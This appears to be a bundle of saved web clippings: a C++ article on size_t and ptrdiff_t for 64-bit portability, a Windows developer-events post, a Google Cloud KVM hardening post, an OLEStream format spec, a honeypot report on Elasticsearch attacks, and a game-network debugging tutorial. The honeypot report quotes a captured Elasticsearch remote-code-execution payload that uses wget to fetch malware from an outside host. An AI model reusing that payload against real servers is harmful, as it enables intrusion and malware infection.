ptrdiff_t type is a base signed integer type of C/C++ language. The type's size is chosen so that it could store the maximum size of a theoretically possible array of any type. On a 32-bit system ptrdiff_t will take 32 bits, on a 64-bit one 64 bits. Like in size_t, ptrdiff_t can safely store a pointer except for a pointer to a class function. Also, ptrdiff_t is the type of the result of an expression where one pointer is subtracted from the other (ptr1-ptr2). ptrdiff_t type is usually used for loop counters, array indexing, size storage and address arithmetic. ptrdiff_t type has its synonym intptr_t whose name indicates more clearly that it can store a pointer.
Portability of size_t and ptrdiff_t
The types size_t and ptrdiff_t enable you to write well-portable code. The code created with the use of size_t and ptrdiff_t types is easy-portable. The size of size_t and ptrdiff_t always coincide with the pointer's size. Because of this, it is these types that should be used as indexes for large arrays, for storage of pointers and pointer arithmetic.
Linux-application developers often use long type for these purposes. Within the framework of 32-bit and 64-bit data models accepted in Linux, this really works. long type's size coincides with the pointer's size. But this code is incompatible with Windows data model and, consequently, you cannot consider it easy-portable. A more correct solution is to use types size_t and ptrdiff_t.
As an alternative to size_t and ptrdiff_t, Windows-developers can use types DWORD_PTR, SIZE_T, SSIZE_T etc. But still it is desirable to confine to size_t and ptrdiff_t types. 
Safety of ptrdiff_t and size_t types in address arithmetic
Address arithmetic issues have been occurring very frequently since the beginning of adaptation of 64-bit systems. Most problems of porting 32-bit applications to 64-bit systems relate to the use of such types as int and long which are unsuitable for working with pointers and type arrays. The problems of porting applications to 64-bit systems are not limited by this, but most errors relate to address arithmetic and operation with indexes.
Here is a simplest example:
view source
print
?
1.
size_t n = ...;
2.
for (unsigned i = 0; i < n; i++)
3.
a[i] = 0;
If we deal with the array consisting of more than UINT_MAX items, this code is incorrect. It is not easy to detect an error and predict the behavior of this code. The debug-version will hung but hardly will anyone process gigabytes of data in the debug-version. And the release-version, depending on the optimization settings and code's peculiarities, can either hung or suddenly fill all the array cells correctly producing thus an illusion of correct operation. As a result, there appear floating errors in the program occurring and vanishing with a subtlest change of the code. To learn more about such phantom errors and their dangerous consequences see the article "A 64-bit horse that can count" [1].
Another example of one more "sleeping" error which occurs at a particular combination of the input data (values of A and B variable):
view source
print
?
1.
int A = -2;
2.
unsigned B = 1;
3.
int array[5] = { 1, 2, 3, 4, 5 };
4.
int *ptr = array + 3;
5.
ptr = ptr + (A + B); //Error
6.
printf("%i\n", *ptr);
This code will be correctly performed in the 32-bit version and print number "3". After compilation in 64-bit mode there will be a fail when executing the code. Let's examine the sequence of code execution and the cause of the error:
· A variable of int type is cast into unsigned type;
· A and B are summed. As a result, we get 0xFFFFFFFF value of unsigned type;
· "ptr + 0xFFFFFFFFu" expression is calculated. The result depends on the pointer's size on the current platform. In the 32-bit program, the expression will be equal to "ptr - 1" and we will successfully print number 3. In the 64-bit program, 0xFFFFFFFFu value will be added to the pointer and as a result, the pointer will be far beyond the array's limits.


Such errors can be easily avoided by using size_t or ptrdiff_t types. In the first case, if the type of "i" variable is size_t, there will be no infinite loop. In the second case, if we use size_t or ptrdiff_t types for "A" and "B" variable, we will correctly print number "3".
Let's formulate a guideline: wherever you deal with pointers or arrays you should use size_t and ptrdiff_t types.
To learn more about the errors you can avoid by using size_t and ptrdiff_t types, see the following articles:
· 20 issues of porting C++ code on the 64-bit platform [2];
· Safety of 64-bit code [3];
· Traps detection during migration of C and C++ code to 64-bit Windows [4].


Performance of code using ptrdiff_t and size_t
Besides code safety, the use of ptrdiff_t and size_t types in address arithmetic can give you an additional gain of performance. For example, using int type as an index, the former's capacity being different from that of the pointer, will lead to that the binary code will contain additional data conversion commands. We speak about 64-bit code where pointers' size is 64 bits and int type's size remains 32 bits. 
It is a difficult task to give a brief example of size_t type's advantage over unsigned type. To be objective we should use the compiler's optimizing abilities. And the two variants of the optimized code frequently become too different to show this very difference. We managed to create something like a simple example only with a sixth try. And still the example is not ideal because it demonstrates not those unnecessary data type conversions we spoke above, but that the compiler can build a more efficient code when using size_t type. Let's consider a program code arranging an array's items in the inverse order:
view source
print
?
1.
unsigned arraySize;
2.
...
3.
for (unsigned i = 0; i < arraySize / 2; i++)
4.
{
5.
float value = array[i];
6.
array[i] = array[arraySize - i - 1];
7.
array[arraySize - i - 1] = value;
8.
}
In the example, "arraySize" and "i" variables have unsigned type. This type can be easily replaced with size_t type, and now compare a small fragment of assembler code shown on Figure 1.

Figure N1.Comparison of 64-bit assembler code when using unsigned and size_t types 
The compiler managed to build a more laconic code when using 64-bit registers. I am not affirming that the code created with the use of unsigned type will operate slower than the code using size_t. It is a very difficult task to compare speeds of code execution on modern processors. But from the example you can see that when the compiler operates arrays using 64-bit types it can build a shorter and faster code.
Proceeding from my own experience I can say that reasonable replacement of int and unsigned types with ptrdiff_t and size_t can give you an additional performance gain up to 10% on a 64-bit system. You can see an example of speed increase when using ptrduff_t and size_t types in the fourth section of the article "Development of Resource-intensive Applications in Visual C++" [5].
Code refactoring with the purpose of moving to ptrdiff_t and size_t
As the reader can see, using ptrdiff_t and size_t types gives some advantages for 64-bit programs. However, it is not a good way out to replace all unsigned types with size_t ones. Firstly, it does not guarantee correct operation of a program on a 64-bit system. Secondly, it is most likely that due to this replacement, new errors will appear data format compatibility will be violated and so on. You should not forget that after this replacement the memory size needed for the program will greatly increase as well. And increase of the necessary memory size will slow down the application's work for cache will store fewer objects being dealt with.
Consequently, introduction of ptrdiff_t and size_t types into old code is a task of gradual refactoring demanding a great amount of time. In fact, you should look through the whole code and make the necessary alterations. Actually, this approach is too expensive and inefficient. There are two possible variants:
1. To use specialized tools like Viva64 included into PVS-Studio. Viva64 is a static code analyzer detecting sections where it is reasonable to replace data types for the program to become correct and work efficiently on 64-bit systems. To learn more, see "PVS-Studio Tutorial" [6].
2. If you do not plan to adapt a 32-bit program for 64-bit systems, there is no sense in data types' refactoring. A 32-bit program will not benefit in any way from using ptrdiff_t and size_t types.
References
1. Andrey Karpov. A 64-bit horse that can count. http://www.viva64.com/art-1-2-377673569.html
2. Andrey Karpov, Evgeniy Ryzhkov. 20 issues of porting C++ code on the 64-bit platform. http://www.viva64.com/art-1-2-599168895.html
3. Andrey Karpov. Safety of 64-bit code. http://www.viva64.com/art-1-2-416605136.html
4. Andrey Karpov, Evgeniy Ryzhkov. Traps detection during migration of C and C++ code to 64-bit Windows. http://www.viva64.com/art-1-2-2140958669.html
5. Andrey Karpov, Evgeniy Ryzhkov. Development of Resource-intensive Applications in Visual C++. http://www.viva64.com/art-1-2-2014169752.html
6. Evgeniy Ryzhkov. PVS-Studio Tutorial. http://www.viva64.com/art-4-2-747004748.html

﻿http://blogs.windows.com/windows/b/buildingapps/archive/2014/04/18/build-gt-learn-gt-publish-new-resources-to-help-you-publish-your-universal-windows-apps.aspx 
//build/ –> //learn/-> //publish/: new resources to help you publish your universal Windows apps
Created:
4/22/2014 6:31:11 PM
Updated:
4/22/2014 6:31:11 PM
Author:

Tags:
security windows environment


//build/ –> //learn/-> //publish/: new resources to help you publish your universal Windows apps
Tweet
You’ve heard announcements at //build/ around the launch of Windows Phone 8.1 and the converged development platform; now get the details and support from community experts to bring your universal Windows apps to life. We’d like to invite you to join us over the next month for a series of educational and hands-on events. 
First up is //learn/, a unique opportunity for you to get an introduction to building your own universal Windows apps for phone, tablet and pc. Ask questions and learn what’s new from Microsoft MVPs and get insights from your peers. 
Jumpstart, a 3-day training course from Microsoft’s Virtual Academy follows, giving you an in-depth overview of the most important new features and platform capabilities. 
Once you’ve started your app, be sure and register for one of our in-person //publish/ regional events, where Microsoft MVPs and local experts will be on hand to help you bring your apps over the finish line and into the Windows Store. 
See below for details. 
//learn/ - coming soon, April 24
Microsoft MVPs will present live webinars introducing the latest features and technologies for phones, tablets and PCs. Learn to build your own universal Windows app, get training on the new application lifecycle, the new XAML runtime, the new Silverlight features, and more. The webinars will be broadcast in eight languages (Chinese; English; French; German; Italian; Portuguese; Russian; Spanish) in local time zones. Whether you are a new or experienced developer, join us for //learn/ to get the information you need to start building. 
Date: April 24, 2014 
Click here to register 
Jumpstart
In this live training webinar by Microsoft Technical Evangelists Andy Wigley and Matthias Shapiro, you will learn how to design and build Windows Phone 8.1 apps using XAML and C# to share a high percentage of code. You will also learn how to maximize app compatibility and optimize code. And, finally, you’ll learn to program the many new Windows Runtime APIs that are available to apps built for Windows Store with Windows Silverlight. 
This event is for experienced software developers with knowledge of object-oriented design. Familiarity with C# or XAML is helpful, however no prior experience with developing Windows Phone 8 apps is required. 
Dates: April 29 – May 1, 2014 
Click here to register. 
If you are unable to attend live, you can watch this course on-demand on Channel 9 after May 9, 2014. 
//publish/
//publish/ is a global event series where you will bring your project to polish and complete, and receive support, incentives, prizes and just have a lot of fun along the way. 
//publish/ events occur in more than 60 different locations worldwide - simultaneously, all connected by a big online digital dashboard (“The Board”) You will receive expert guidance and support for app design, performance, testing, publishing, and Unity porting in a cool and inspiring environment. 
Attend in-person at one of the 35 Microsoft-led events or 30 MVP-led satellite events at locations worldwide. No matter which event you attend, you’ll find it an extraordinary opportunity to learn, share and code; connected to the others via a unique online experience. Register early as space is limited. 
Dates: May 16 - May 17, 2014 
Click here to register 
We hope these events provide everything you need to build universal Windows apps, and can’t wait to see what you publish. Follow #learnwindows and #pubwin to get all the details. 
﻿https://cloud.google.com/blog/products/gcp/7-ways-we-harden-our-kvm-hypervisor-at-google-cloud-security-in-plaintext 
7 ways we harden our KVM hypervisor at Google Cloud: security in plaintext | Google Cloud Blog
Created:
4/25/2019 6:30:37 AM
Updated:
4/25/2019 6:30:37 AM
Author:

Tags:
Linux cloud computing kvm



GOOGLE CLOUD PLATFORM
7 ways we harden our KVM hypervisor at Google Cloud: security in plaintext
Andy Honig 
Senior Product Manager 
Nelly Porter 
Senior Product Manager, Google Cloud 
January 25, 2017 
Try GCP
Get $300 free credit to spend over 12 months.
FREE TRIAL
Google Cloud uses the open-source KVM hypervisor that has been validated by scores of researchers as the foundation of Google Compute Engine and Google Container Engine, and invests in additional security hardening and protection based on our research and testing experience. Then we contribute back our changes to the KVM project, benefiting the overall open-source community. 
What follows is a list of the main ways we security harden KVM, to help improve the safety and security of your applications.

1. Proactive vulnerability search: There are multiple layers of security and isolation built into Google’s KVM (Kernel-based Virtual Machine), and we’re always working to strengthen them. Google’s cloud security staff includes some of the world’s foremost experts in the world of KVM security, and has uncovered multiple vulnerabilities in KVM, Xen and VMware hypervisors over the years. The Google team has historically found and fixed nine vulnerabilities in KVM. During the same time period, the open source community discovered zero vulnerabilities in KVM that impacted Google Cloud Platform (GCP).

2. Reduced attack surface area: Google has helped to improve KVM security by removing unused components (e.g., a legacy mouse driver and interrupt controllers) and limiting the set of emulated instructions. This presents a reduced attack and patch surface area for potential adversaries to exploit. We also modify the remaining components for enhanced security.

3. Non-QEMU implementation: Google does not use QEMU, the user-space virtual machine monitor and hardware emulation. Instead, we wrote our own user-space virtual machine monitor that has the following security advantages over QEMU:
Simple host and guest architecture support matrix. QEMU supports a large matrix of host and guest architectures, along with different modes and devices that significantly increase complexity. Because we support a single architecture and a relatively small number of devices, our emulator is much simpler. We don’t currently support cross-architecture host/guest combinations, which helps avoid additional complexity and potential exploits. Google’s virtual machine monitor is composed of individual components with a strong emphasis on simplicity and testability. Unit testing leads to fewer bugs in complex system. QEMU code lacks unit tests and has many interdependencies that would make unit testing extremely difficult. 
No history of security problems. QEMU has a long track record of security bugs, such as VENOM, and it's unclear what vulnerabilities may still be lurking in the code.

4. Boot and Jobs communication: The code provenance processes that we implement helps ensure that machines boot to a known good state. Each KVM host generates a peer-to-peer cryptographic key sharing system that it shares with jobs running on that host, helping to make sure that all communication between jobs running on the host is explicitly authenticated and authorized.

5. Code Provenance: We run a custom binary and configuration verification system that was developed and integrated with our development processes to track what source code is running in KVM, how it was built, how it was configured and how it was deployed. We verify code integrity on every level — from the boot-loader, to KVM, to the customers’ guest VMs.

6. Rapid and graceful vulnerability response: We've defined strict internal SLAs and processes to patch KVM in the event of a critical security vulnerability. However, in the three years since we released Compute Engine in beta, our KVM implementation has required zero critical security patches. Non-KVM vulnerabilities are rapidly patched through Google's internal infrastructure to help maximize security protection and meet all applicable compliance requirements, and are typically resolved without impact to customers. We notify customers of updates as required by contractual and legal obligations.

7. Carefully controlled releases: We have stringent rollout policies and processes for KVM updates driven by compliance requirements and Google Cloud security controls. Only a small team of Google employees has access to the KVM build system and release management control.

There’s a lot more to learn about KVM security at Google. Click the links below for more information.

· KVM Security 
· KVM Security Improvements by Andrew Honig 
· Performant Security Hardening of KVM by Steve Rutherford 

And of course, KVM is just one infrastructure component used to build Google Cloud. We take security very seriously, and hope you’ll entrust your workloads to us.

FAQ
Should I worry about side channel attacks?

We rarely see side channel attacks attempted. A large shared infrastructure the size of Compute Engine makes it very impractical for hackers to attempt side channel attacks, attacks based on information gained from the physical implementation (timing and memory access patterns) of a cryptosystem, rather than brute force or theoretical weaknesses in the algorithms. To mount this attack, the target VM and the attacker VM have to be collocated on the same physical host, and for any practical attack an attacker has to have some ability to induce execution of the crypto system being targeted. One common use for side channel attacks is against cryptographic keys. Side channel attacks that leak information are usually addressed quickly by cryptographic library developers. To help prevent that, we recommend that Google Cloud customers ensure that their cryptographic libraries are supported and always up-to-date.
What about Venom? 
Venom affects QEMU. Compute Engine and Container Engine are unaffected because both do not use QEMU.
What about Rowhammer? 
The Google Project Zero team led the way in discovering practical Rowhammer attacks against client platforms. Google production machines use double refresh rate to reduce errors, and ECC RAM that detects and corrects Rowhammer-induced errors. 1-bit errors are automatically corrected, and 2-bit errors are detected and cause any potentially offending guest VMs to be terminated. Alerts are generated for any projects that cause an unusual number of Rowhammer errors. Undetectable 3-bit errors are theoretically possible, but extremely improbable. A Rowhammer attack would cause a very large number of alerts for 2-bit and 3-bit errors and would be detected.
A recent paper describes a way to mount a Rowhammer attack using a KSM KVM module. KSM, the Linux implementation of memory de-duplication, uses a kernel thread that periodically scans memory to find memory pages with the same contents mapped from multiple VMs that are candidates for merging. Memory “de-duping” with KSM can help to locate the area to “hammer” the physical transistors underlying those bits of data, and can target the identical bits on someone else’s VM running on the same physical host. Compute Engine and Container Engine are not vulnerable to this kind of attack, since they do not use KSM. However, if a similar attack is attempted via a different mechanism, we have mitigations in place to detect it.
What is Google doing to reduce the impact of KVM vulnerabilities? 
We have evaluated the sources of vulnerabilities discovered to date within KVM. Most of the vulnerabilities have been in the code areas that are in the kernel for historic reasons, but can now be removed without a significant performance impact when run with modern operating systems on modern hardware. We’re working on relocating in-kernel emulation functionality outside of the kernel without a significant performance impact.

How does the Google security team identify KVM vulnerabilities in their early stage? 
We have built an extensive set of proprietary fuzzing tools for KVM. We also do a thorough code review looking specifically for security issues each time we adopt a new feature or version of KVM. As a result, we've found many vulnerabilities in KVM over the past three years. About half of our discoveries come from code review and about half come from our fuzzers.	
POSTED IN:
GOOGLE CLOUD PLATFORM—IDENTITY & SECURITY—SECURITY IN PLAINTEXT—

﻿https://lh3.googleusercontent.com/-g2P5dnzA_KM/U_xd2fSnwhI/AAAAAAABFy4/UAVJpcp7u1I/w536-h904-no/1187029_325479890930138_234142447_n.jpg 
1187029_325479890930138_234142447_n.jpg (JPEG Image, 536 × 904 pixels) - Scaled (90%)
Created:
8/26/2014 5:21:10 PM
Updated:
8/26/2014 5:21:10 PM
Author:

Tags:
LOLZ



﻿http://msdn.microsoft.com/en-us/library/dd942499%28v=prot.10%29.aspx 
2.3.3 OLEStream
Created:
1/31/2012 7:34:37 PM
Updated:
1/31/2012 7:34:49 PM
Author:

Tags:
research Fuzzer


2.3.3 OLEStream
This topic has not yet been rated Rate this topic 
The OLEStream structure is contained inside an OLE Compound File Stream object ([MS-CFB] section 1.3). The name of this Compound File Stream object is "\1Ole". The stream object is contained within the OLE Compound File Storage object ([MS-CFB] section 1.3) corresponding to the linked object or embedded object (see section 1.3.3). The OLEStream structure specifies whether the storage object is for a linked object or an embedded object. When this structure specifies a storage object for a linked object, it also specifies the reference to the linked object.

0 

1 

2 

3 

4 

5 

6 

7 

8 

9 
1
0 

1 

2 

3 

4 

5 

6 

7 

8 

9 
2
0 

1 

2 

3 

4 

5 

6 

7 

8 

9 
3
0 

1 
Version
Flags
LinkUpdateOption
Reserved1
ReservedMonikerStreamSize
ReservedMonikerStream (variable)
...
RelativeSourceMonikerStreamSize (optional)
RelativeSourceMonikerStream (variable)
...
AbsoluteSourceMonikerStreamSize (optional)
AbsoluteSourceMonikerStream (variable)
...
ClsidIndicator (optional)
Clsid (optional)
...
...
...
ReservedDisplayName (optional)
Reserved2 (optional)
LocalUpdateTime (optional)
LocalCheckUpdateTime (optional)
RemoteUpdateTime (optional)
Version (4 bytes): This MUST be set to 0x02000001. Otherwise, the OLEStream structure is invalid.<9>
 
Flags (4 bytes): If this field has a value of 1, the OLEStream structure MUST be for a linked object and the CLSID field of the Compound File Directory Entry ([MS-CFB] section 2.6.1) of the OLE Compound File Storage object ([MS-CFB] section 1.3) MUST be set to CLSID_StdOleLink ({00000300-0000-0000-C000-000000000046}). If this field has a value of 0, then the OLEStream structure MUST be for an embedded object and the CLSID field of the Compound File Directory Entry ([MS-CFB] section 2.6.1) of the OLE Compound File Storage object ([MS-CFB] section 1.3) MUST be set to the object class GUID of the creating application.
Value 
Meaning 
0x00000001
The OLEStream structure MUST be for a linked object.
0x00000000
The OLEStream structure MUST be for an embedded object.
LinkUpdateOption (4 bytes): This field contains an implementation-specific hint supplied by the application or by a higher-level protocol that creates the data structure. The hint MAY be ignored on processing of this data structure.<10>
 
Reserved1 (4 bytes): This MUST be set to 0x00000000. Otherwise, the OLEStream structure is invalid.<11>
 
ReservedMonikerStreamSize (4 bytes): This MUST be set to the size, in bytes, of the ReservedMonikerStream field. If this field has a value 0x00000000, the ReservedMonikerStream field MUST NOT be present.
ReservedMonikerStream (variable): This MUST be a MONIKERSTREAM structure (section 2.3.3.1) that can contain any arbitrary value and MUST be ignored on processing.
Note  The fields that follow MUST NOT be present if the OLEStream structure is for an embedded object.
RelativeSourceMonikerStreamSize (4 bytes): This MUST be set to the size, in bytes, of the RelativeSourceMonikerStream field. If this field has a value 0x00000000, the RelativeSourceMonikerStream field MUST NOT be present.
RelativeSourceMonikerStream (variable): This MUST be a MONIKERSTREAM structure (section 2.3.3.1) that specifies the relative path to the linked object.
AbsoluteSourceMonikerStreamSize (4 bytes): This MUST be set to the size, in bytes, of the AbsoluteSourceMonikerStream field. This field MUST NOT contain the value 0x00000000.
AbsoluteSourceMonikerStream (variable): This MUST be a MONIKERSTREAM structure (section 2.3.3.1) that specifies the full path to the linked object.
If the RelativeSourceMonikerStream field is present, it MUST be used by the container application instead of the AbsoluteSourceMonikerStream. If the RelativeSourceMonikerStream field is not present, the AbsoluteSourceMonikerStream MUST be used by the container application.
ClsidIndicator (4 bytes): This MUST be the LONG (as specified in section 2.2.27 of [MS-DTYP]) value -1. Otherwise the OLEStream structure is invalid.<12>
Clsid (16 bytes): This MUST be the CLSID (Packet) (section 2.1.2) containing the object class GUID of the creating application.
ReservedDisplayName (4 bytes): This MUST be a LengthPrefixedUnicodeString (section 2.1.5) that can contain any arbitrary value and MUST be ignored on processing.
Reserved2 (4 bytes): This can contain any arbitrary value and MUST be ignored on processing.
LocalUpdateTime (4 bytes): This MUST be a FILETIME (Packet) (section 2.1.3) that contains the time when the container application last updated the RemoteUpdateTime field.
LocalCheckUpdateTime (4 bytes): This MUST be a FILETIME (Packet) (section 2.1.3) that contains the time when the container application last checked the update time of the linked object.
RemoteUpdateTime (4 bytes): This MUST be a FILETIME (Packet) (section 2.1.3) that contains the time when the linked object was last updated.
 

﻿http://jordan-wright.github.io/blog/2015/05/11/60-days-of-watching-hackers-attack-elasticsearch/?utm_content=buffer6610e&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer 
60 Days of Watching Hackers Attack Elasticsearch - jordan-wright
Created:
5/13/2015 2:39:02 PM
Updated:
5/13/2015 2:39:02 PM
Author:

Tags:
Java searching log-management


60 Days of Watching Hackers Attack Elasticsearch
May 11, 2015 | Comments

Introduction
Two months ago, one of my DigitalOcean instances started attacking another host with massive amounts of bogus traffic. I was notified by the abuse team at DO that my VPS was participating in a DDoS attack. I managed to track down that the attackers leveraged an RCE vulnerability in Elasticsearch to automatically download and run malware.
After re-building the box from scratch (with many improvements!), I created a honeypot called Elastichoney to measure how much this vulnerability is being exploited in the wild. Since then, I’ve had multiple sensors silently logging all attempts to exploit this vulnerability.
Here are the results.
Who’s Attacking Me?
Elastichoney keeps track of quite a bit of data, including the source IP and payload sent to the sensor. I logged every attack to an Elasticsearch instance (have some irony – free of charge!) and enriched the data with geoip information using Logstash. Finally, I created a slick dashboard using Kibana to view the results.
So far, I’ve had around 8k attempts to attack the honeypots from over 300 unique IP addresses. One of the immediate things I noticed was thing a vast majority (over 93%) of attacks were coming from Chinese IP addresses:

The second thing that I noticed was how fast the majority of exploit attempts died down. Here’s a histogram of attack attempts since the sensors have been running:

You’ll notice a spike between March 20th and April 11th. These attacks came from a few Chinese IP addresses that all stopped their attacks at the same time. But hey, attacks come in, attacks go out. You can’t explain that.
What are the Attackers Doing?
I mentioned that Elastichoney logs the payload sent to the sensor. In some cases, these were attempts to run boring commands like whoami, etc. However, in quite a few cases, the malware attempted to use wget to download and run malware – similar to what happened to my DO instance.
These looked something like this:

source={"query":+{"filtered":+{"query":+{"match_all":+{}}}},+"script_fields":+{"exp":+{"script":+"import+java.util.*;import+java.io.*;String+str+=+\"\";BufferedReader+br+=+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec(\"wget+-O+/tmp/zuosyn+http://115.28.216.181:995/zuosyn\").getInputStream()));StringBuilder+sb+=+new+StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}},+"size":+1}
These malware samples were generally nothing more than basic bots. They could be compiled ELF binaries, or simple Perl scripts. While we’re working to let Elastichoney automatically download these malware samples, for now the data is in the logs. Speaking of logs...
The Raw Data
I’m a fan of open-sourcing as much information as possible if it helps the community. As such, I’ve decided to release all the logs I currently have.
You can download the raw JSON logs here. Here’s an example log to show how the logs are structured:

    "source" "222.186.56.46"
    "@timestamp" "2015-05-10T15:44:56.803Z"
    "url" "x.x.x.x:9200/_search?"
    "method" "GET"
    "form" "form_payload"
    "payload" "json_payload"
    "headers" 
        "user_agent" "python-requests/2.4.1 CPython/2.7.8 Windows/2003Server"
        "host" "x.x.x.x:9200"
        "content_type" 
        "accept_language" 
    "type" "attack"
    "honeypot" "x.x.x.x"
    "@version" 
    "host" "127.0.0.1:39642"
    "name" "Python Requests"
     "Windows"
    "os_name" "Windows"
    "device" "Other"
    "major" 
    "minor" 
    "geoip" 
         "222.186.56.46"
        "country_code2" 
        "country_code3" "CHN"
        "country_name" "China"
        "continent_code" 
        "region_name" 
        "city_name" "Nanjing"
        "latitude" 32.0617
        "longitude" 118.77780000000001
        "timezone" "Asia/Shanghai"
        "real_region_name" "Jiangsu"
        "location" 118.77780000000001 32.0617
As always, let me know if you have any questions or comments below!
Enjoy!
Jordan
Posted by Jordan May 11, 2015 elastichoney, elasticsearch, honeypot
Tweet
« How Tor Works: Part Two - Relays vs. Bridges
﻿http://www.altdevblogaday.com/2013/09/25/scripted-network-debugging/ 
#AltDevBlog » Scripted Network Debugging
Created:
10/2/2013 3:15:52 PM
Updated:
10/2/2013 3:15:52 PM
Author:

Tags:
Debugging network-security


Scripted Network Debugging 
Debugging network problems is horrible. Everything is asynchronous. Messages can get lost, scrambled or delivered out-of-order. The system is full of third-party black boxes: external transport layers (PSN, Steam, etc), routers, firewalls and ineptly written packet intercepting anti-virus programs. (I’ve got my eye on you!)
Reproducing a problem requires setting up multiple machines that are all kept in sync with any changes you make to the code and the data in order to try to fix the problem. It might also require roping in multiple players to actually sit down and play the game on all those machines. This can make a simple bug turn into a multi-day or even a multi-week problem.
Here are some quick tips for making network debugging easier:
· Have a single place for disabling timeouts. Few things are as frustrating as looking at a problem in the debugger, almost finding the solution and then having the entire game shutdown because the server flagged your machine as unresponsive while you where broken in the debugger. Having a single place where you can disable all such timeouts makes the debugger a lot more useful for solving network problems.
· Attach Visual Studio to multiple processes. Not everybody is aware of this, but you can actually attach the Visual Studio debugger to multiple processes simultaneously. So you can start a network session with eight players and then attach your debugger to all of them. This can be used to follow messages and code flow between different network nodes.
· Make sure you can start multiple nodes on the same machine (using different ports). This allows you to debug many network issues locally, without running between different machines in the office or gather a stack of laptops on your desk. Of course this doesn’t work if you are targeting consoles or Steam, since you can’t use multiple Steam accounts simultaneously on the same machine. (Please fix, k thx bye!)
· Have a way to log network traffic. We have a switch that allows us to log all network traffic (both incoming and outgoing) to a file. That file can be parsed by a custom GUI program that understands our network protocol. This allows us to see all the messages to and from each node, when they were sent and when they were received. This allows us to diagnose many network issues post-fact. We also have a replay functionality, where we can replay such a saved log to the network layer and get it to behave exactly as it did in the recording session.
But today I’m going to focus on a different part of network debugging: scripted tests.
The idea is that instead of running around manually to a lot of different machines, copying executables and data, booting the game, jumping into menus, etc, etc, we write a little Ruby script that does all that for us:
· Distribute executables
· Distribute project data
· Start the game
· Set up a multi-player session
· Play the game
I recently had to debug a network issue with a low reproduction rate. With the script I was able to set up and run 500 sample matches in just a few hours and reproduce the bug. Doing that by hand wouldn’t even have been possible.
Let’s look at each of the tasks above and see how we can accomplish them:
Distribute executables 
This could be done by the script, but to simplify things as much as possible, I just use a Bittorrent Sync folder to this. I’ve shared the tool-chain directory on my development machine (the tool-chain contains the tools and executables for all platforms) and connected all the other machines to that directory. That way, whenever I build a new executable it will automatically be distributed to all the nodes.
I have a nodes-config.rb file for defining the nodes, where I specify the tool-chain directory used by each node:
LOCAL = Node.new(
	:toolchain => 'c:\work\toolchain')

MSI = Node.new(
	:ip => '172.16.8.33', 
	:toolchain => 'd:\toolchain', 
	:exec => PsExec.new(:name => 'bitsquid-msi', :user => 'bitsquid', :password => ask_password('bitsquid-msi')))

MACBOOK = Node.new(
	:ip => '172.16.8.22', 
	:toolchain => 'c:\toolchain', 
	:exec => PsExec.new(:name => 'bitsquidmacbook', :user => 'bitsquid', :password => ask_password('bitsquidmacbook')))

NODES = [LOCAL, MSI, MACBOOK]
Distribute project data 
Since the Bitsquid engine can be run in file server mode I don’t actually need to distribute the project data. All I have to do is start a file server on my development machine and then tell all the network nodes to pull their data from that file server. I do that by starting the engine with the arguments:
-host 172.16.8.14 -project samples/network
The nodes will pull the data for the project samples/network from the file server at IP 172.16.8.14 and all get the latest data.
Start the game 
On the local machine I can start the game directly with a system() call. To start the game on the remote machines I use PsExec . The relevant source code in the script looks like this:
require_relative 'console'

# Class that can launch executables on the local machine.
class LocalExec
	def launch(arg)
		system("start #{arg}")
	end
end

# Class used for executables launched by other means.
class ExternalExec
	def launch(arg)
	end
end

# Class used for executables launched on remote machines with psexec.
class PsExec
	def initialize(args)
		@name = args[:name]
		@user = args[:user]
		@password = args[:password]
	end

	def launch(arg)
		system("psexec \\\\#{@name} -i -d -u #{@user} -p #{@password} #{arg}")
	end
end

# Class that represents a node in the network test.
class Node
	# Initializes the node from hash data
	#
	# :ip => '127.0.0.1'
	#  	The IP address of the node.
	# :toolchain
	#  	Path to the toolchain folder on the node machine.
	# :exec => LocalExec.new
	#   Class for executing programs (LocalExec, ExternalExec, PsExec)
	# :port => 64000
	#  	Port that the node should use.
	def initialize(args)
		@ip = args[:ip] || '127.0.0.1'
		@toolchain = args[:toolchain]
		@exec = args[:exec] || LocalExec.new
		@port = args[:port] || 64000
	end

	# Starts the project on the remote node and returns a console connection for talking to it.
	def start_project(arg)
		@exec.launch "#{exe_path} -port #{@port} #{arg}"
		return Console.new(@ip, @port)
	end

private
	def exe_path
		return @toolchain + '\engine\win32\bitsquid_win32_dev.exe'
	end
end
Each node specifies its own method for launching the game with the :exec parameter, and that method is used by start_project() to launch the game.
Additional execution methods could be added. For example for launching the game on PS3s and X360s.
Setup a multi-player session 
To get the game to do what we want once it has started we use the in-game console.
All Bitsquid games act as TCP/IP servers when running in development mode. By connecting to the server port of a running game we can send Lua script commands to that game. The Ruby code for doing that is mercifully short:
require 'socket'

# Class that handles console communication with a running bitsquid executable.
class Console
	JSON = 0
	JSON_WITH_BINARY = 1

	# Create a new console connection to specified host and port.
	def initialize(host, port)
		@socket = TCPSocket.new(host, port)
	end

	# Send the specified JSON-encoded string to the target.
	def send(json)
		msg = [JSON, json.length].pack("NN") + json
		@socket.write(msg)
	end

	# Send the specified lua script to be executed on the target.
	def send_script(lua)
		lua = lua.gsub('"', '\\"')
		send("{type: \"script\", script: \"#{lua}\"}")
	end
end

# Handles multiple console connections
class Consoles
	attr_reader :consoles

	def initialize(arg)
		@consoles = arg.respond_to?(:each) ? arg : [arg]
	end

	def send_script(lua)
		@consoles.each do |c| c.send_script(lua) end
	end
end
Node.start_project() returns a Console object that can be used to talk with the newly created network node. Since all the gameplay code for Bitsquid games is written in Lua, setting up a multi-player game is just a matter of sending the right Lua commands over that connection.
Those commands will be game specific. In the network sample where I implemented this, there is a global variable called force_menu_choice which when set will force a selection in the in-game menus. We can use this to set up a network game:
require_relative 'nodes-config'

consoles = NODES.collect do |n| n.start_project("-host 172.16.8.14 -project samples/network") end
server = consoles[0]
clients = Consoles.new(consoles[1..-1])
all = Consoles.new(consoles)

puts "Waiting for exes to launch..."
sleep(1)
puts "Launching steam..."
all.send_script %q{force_menu_choice = "Steam Game"}
sleep(1)
server.send_script %q{force_menu_choice = "Create Lobby"}
sleep(1)
clients.send_script %q{force_menu_choice = "Find Lobby"}
sleep(1)
clients.send_script %q{force_menu_choice = "Niklas Test Lobby"}
sleep(1)
server.send_script %q{force_menu_choice = "Start Game"}
This will start a Steam Lobby on the server, all the clients will search for and join this lobby and then the server will start the game.
Play the game 
Playing the game is again just a question of sending the right script commands to expose the bugs you are interested in. In my case, I just tested spawning some network synchronized boxes:
server.send_script %q{
